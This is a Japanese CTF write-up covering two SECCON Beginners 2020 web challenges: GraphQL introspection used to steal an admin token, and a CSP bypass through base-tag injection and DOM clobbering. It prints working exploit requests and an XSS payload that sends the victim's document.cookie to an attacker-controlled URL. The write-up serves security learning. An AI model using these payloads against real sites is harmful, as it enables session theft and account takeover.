SECCON Beginners 2020 Writeup (profiler, Somen)

2020/5/23 14:00 ~ 2020/5/24 14:00 まで開催された SECCON Beginnersに参加しました。

戦績

新生チーム5minworkersのメンバーとして参加し、結果は3409pts、総合順位19位でした。

大学のCTFチームm1z0r3を卒業して初めて別のチームを組んで参加しました。
メンバーは会社の同期で、経験者未経験者のミックスでした。
Beginner, Easyは未経験者に解いてもらい、余った問題や解かれなかった問題を経験者が埋める作戦でした。
初めて集まったにしてはまずまずの戦績だったのではないかと思っています。
ただpwnが手薄でしたね…個人的にも勉強が足りずまだMalleus CTF Pwnが半分くらいしかできていないのでこれから力をつけていきます。早く人生初のPwn submitをしたい。

個人の成績としてはprofilerの4th blood、Somenの5th bloodを取りました。
いずれもWebの高難易度問題を早いうちに解けました。とりあえずWeb全完に貢献できて良かったですね。

Write up

profiler [web, 301pts]

方針

  • GraphQLでIntrospectionを行い、使用可能なクエリを洗い出す
  • someone query を実行し、uid=admin のtokenを盗む
  • UpdateToken mutation を実行し、自分のtokenを先ほどのものに設定することで、adminになりすます

概要

ユーザ登録をすると、ランダム文字列のtokenが与えられます。

ログインすると、自分のプロフィールメッセージを更新できるフォームとflagを取得するボタンが現れます。

素直にflagを見に行こうとすると「あなたのtokenはadminのものではない」と怒られます。

解き方

プロフィールロード時に /api にPOSTしています。
このリクエストボディは以下のようになっています。

{"query":"query {
    me {
      uid
      name
      profile
    }
  }"}

このリクエストはGraphQLですね。
他にもプロフィール更新時には以下のようなリクエストが投げられています。

{"query":"mutation {
    updateProfile(profile: \"test\", token: \"9bbaf589965a543114e29da346461ffcdeaef9cc25ebf52cf93a6a44c3af1a19\\¥¥\")
  }"}

他のクエリがないか探します。
ネットで調べると、デバッグ用にGraphQLの型情報などが取得できるIntrospectionという機能があるようです。
GraphQLで情報取得に使われるのは Query 、更新に使われるのは Mutation とのことなので、まず Query 一覧を取得するために以下のリクエストを投げます。

'{"query": "query{__type(name: \"Query\"){name fields{name args{name type{name kind}} type{name kind ofType{name kind}}}}}"}'

レスポンスは以下です。

{
  "data": {
    "__type": {
      "fields": [
        {
          "args": [],
          "name": "me",
          "type": {
            "kind": "NON_NULL",
            "name": null,
            "ofType": {
              "kind": "OBJECT",
              "name": "User"
            }
          }
        },
        {
          "args": [
            {
              "name": "uid",
              "type": {
                "kind": "NON_NULL",
                "name": null
              }
            }
          ],
          "name": "someone",
          "type": {
            "kind": "OBJECT",
            "name": "User",
            "ofType": null
          }
        },
        {
          "args": [],
          "name": "flag",
          "type": {
            "kind": "NON_NULL",
            "name": null,
            "ofType": {
              "kind": "SCALAR",
              "name": "String"
            }
          }
        }
      ],
      "name": "Query"
    }
  }
}

続いて Mutation の情報を取得します。

'{"query": "query{__type(name: \"Mutation\"){name description fields{name type{name kind ofType{name kind}}}}}"}'

レスポンスは以下です。

{
  "data": {
    "__type": {
      "description": null,
      "fields": [
        {
          "name": "updateProfile",
          "type": {
            "kind": "NON_NULL",
            "name": null,
            "ofType": {
              "kind": "SCALAR",
              "name": "Boolean"
            }
          }
        },
        {
          "name": "updateToken",
          "type": {
            "kind": "NON_NULL",
            "name": null,
            "ofType": {
              "kind": "SCALAR",
              "name": "Boolean"
            }
          }
        }
      ],
      "name": "Mutation"
    }
  }
}

flag Queryはそのまま叩いても情報を出してくれません。
ただし、「uid: adminのtokenではない」とするエラーメッセージが鍵となります。

Queryに someone があるので uid: admintoken を見てみましょう。

$ curl https://profiler.quals.beginners.seccon.jp/api -H 'Content-Type: application/json' -d '{"query": "query{someone(uid: \"admin\"){token}}"}'
{"data":{"someone":{"token":"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b"}}}

続いて UpdateToken Mutationで自分のユーザの token を変更します。
このリクエストはログイン済みの cookie が必要です。
リクエストボディは以下のようになります。

'{"query":"mutation {updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")}"}'

レスポンスが以下のようになるはずです

{"data":{"updateToken":true}}

これで自分のtokenがadminのtokenと一致するようになりました。
あとはflag Queryを投げれば完了です。

'{"query":"query {flag}"}'
{"data":{"flag":"ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}"}}

試したこと

生まれて初めてGraphQLを触りました。
最初はJWTのSign keyがtokenの一部になってないかなと試してたりしてました。

まだ UpdateToken mutationに気付いていない時に「自分のユーザの UpdateProfile をadminのtokenで行ったらどうなるかな」と試したら問題サーバが500返して壊れちゃいました。すいません。

Somen [Web, 421pts]

方針

  • CSPヘッダで base-uri が設定されていないことに気づく
    • title タグを閉じてhtmlのインジェクションを行い、 base 書き換えを行うことで /security.js の読み込みを防止する
  • CSPヘッダの script-src 'strict-dynamic' に気づく
    • #messageinnerHTML 書き換えの宛先を、自分で挿入した script#message に向けさせる

概要

名前を $_GET[username] に与えるとおすすめの素麺(流し・冷やし)を教えてくれるWebアプリです。
怪しい挙動を確認した場合は /inquiry にPOSTすると運営が自動でクロールしてくれます。
典型的なXSS問題ですね。

index.php と、自動クロールの worker.js が最初に与えられます。
worker.js で走るpuppeteerにflagとなるcookieが仕込まれているので、XSSで window.cookie が抜き取れたら試合終了です。

<?php
$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='");
?>

<head>
    <title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>

    <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
    <script nonce="<?= $nonce ?>">
        const choice = l => l[Math.floor(Math.random() * l.length)];

        window.onload = () => {
            const username = new URL(location).searchParams.get("username");
            const adjective = choice(["Nagashi", "Hiyashi"]);
            if (username !== null)
                document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
        }
    </script>
</head>

<body>
    <h1>Best somen for You</h1>

    <p>Please input your name. You can use only alphabets and digits.</p>
    <p>This page works fine with latest Google Chrome / Chromium. We won't support other browsers :P</p>
    <p id="message"></p>
    <form action="/" method="GET">
        <input type="text" name="username" place="Your name"></input>
        <button type="submit">Ask</button>
    </form>
    <hr>

    <p> If your name causes suspicious behavior, please tell me that from the following form. Admin will acceess /?username=${encodeURIComponent(your input)} and see what happens.</p>
    <form action="/inquiry" method="POST">
        <input type="text" name="username" place="Your name"></input>
        <button type="submit">Ask</button>
    </form>

</body>
const puppeteer = require('puppeteer');

/* ... ... */

// initialize
const browser = await puppeteer.launch({
    executablePath: 'google-chrome-unstable',
    headless: true,
    args: [
        '--no-sandbox',
        '--disable-background-networking',
        '--disk-cache-dir=/dev/null',
        '--disable-default-apps',
        '--disable-extensions',
        '--disable-gpu',
        '--disable-sync',
        '--disable-translate',
        '--hide-scrollbars',
        '--metrics-recording-only',
        '--mute-audio',
        '--no-first-run',
        '--safebrowsing-disable-auto-update',
    ],
});
const page = await browser.newPage();

// set cookie
await page.setCookie({
    name: 'flag',
    value: process.env.FLAG,
    domain: process.env.DOMAIN,
    expires: Date.now() / 1000 + 10,
});

// access
// username is the input value of players
const url = `https://somen.quals.beginners.seccon.jp/?username=${encodeURIComponent(username)}`;
try {
    await page.goto(url, {
        waitUntil: 'networkidle0',
        timeout: 5000,
    });
} catch (err) {
    console.log(err);
}

// finalize
await page.close();
await browser.close();

/* ... ... */

ただし、CSPが設定されているため、簡単には突破できません。

default-src 'none';
script-src 'nonce-DuuhHj7x4iLfET+TiW4hspkIwz4=' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L

解き方

まずはっきりわかっているのは以下の点です。

  • default-src 'none' なので script 以外を埋め込むことはできない
  • script-srcnoncesha256 が含まれているため、どちらかを満たしていないと実行されない
  • クエリストリングに英数字以外を入れると /security.js がリダイレクトを発生させて /error.php に飛んでしまう

とりあえず CSP Evaluator にかけてみると、 base-uri 属性が設定されていないことに気づきます。
base-uri 属性がないことによって /security.js の読み込み先オリジンが自由に設定される可能性があります。

<title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>

index.php のこの部分に着目すると、 $_GET[username] に以下のペイロードを仕込むことで base 書き換えが可能になります。

</title><base href="https://{your-url}/" target="_self" /><title>

あとは https://{your-url}/security.js をホストすることで、integrityチェックには失敗するものの別の /security.js を読み込むことになり、 error.php へのリダイレクトが発生しなくなります。

続いて CSP Header の 'strict-dynamic' に着目します。
すでに base タグと同じように script タグを仕込むことは可能ですが、nonceも有効なsha256も持ち合わせいていないため実行されることはありません。
ただし 'strict-dynamic' によって、「有効なscriptタグ内から生成されたscriptを実行することができる」ようになります。
(参考:https://inside.pixiv.blog/kobo/5137

ただし、ここで有効になるのは createElement() などによって挿入された要素に限定され、 document.writeln() などで挿入された要素は対象ではありません。
(参考:https://w3c.github.io/webappsec-csp/#strict-dynamic-usage のExample24)

したがって、以下の innerHTML に直接 script タグを書き込むだけではダメだということになります。

<script nonce="<?= $nonce ?>">
    const choice = l => l[Math.floor(Math.random() * l.length)];

    window.onload = () => {
        const username = new URL(location).searchParams.get("username");
        const adjective = choice(["Nagashi", "Hiyashi"]);
        if (username !== null)
            document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
    }
</script>

そこで、 div#messagescript を書き込むのではなく、 script#message を手前に書き込んで、それに直接JavaScriptを書き込ませるように上記スクリプトを動作させます。
$_GET[username] の挿入箇所は div#message より手前なので、 script#message を仕込んでおくと document.getElementById("message") で引っかかるのは script#message になるという寸法です。
(参考:https://szarny.hatenablog.com/entry/2019/01/01/XSS_Challenge_%28%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%BB%E3%83%9F%E3%83%8B%E3%82%AD%E3%83%A3%E3%83%B3%E3%83%97_in_%E5%B2%A1%E5%B1%B1_2018_%E6%BC%94%E7%BF%92%E3%82%B3%E3%83%B3#Case-23-nonce–strict-dynamic

正直、結局shaもnonceもついてない <script id="message"> 自体はベタ書きされているのにこれでどうしてうまくいくのか、細かいメカニズムがわからないので要勉強…

最終的に </title><base ...> が挿入でき、かつ <script id="message" /> が挿入でき、かつペイロード全体が有効なJavaScriptとして動作するようにペイロードを組み立てます。

/*</title>
<base href="https://{your-url}/" target="_self" />
<script id="message"></script>*/
location.href = 'https://{your-url}/?cookie=' + document.cookie;//<title>

あとはngrokとかでホストして待ち受けるだけ。

ctf4b{1_w0uld_l1k3_70_347_50m3n_b3f0r3_7ry1n6_70_3xpl017}

試したこと

絶対できないのに nonce が盗めないか考えてたりしてました。

コメント

タイトルとURLをコピーしました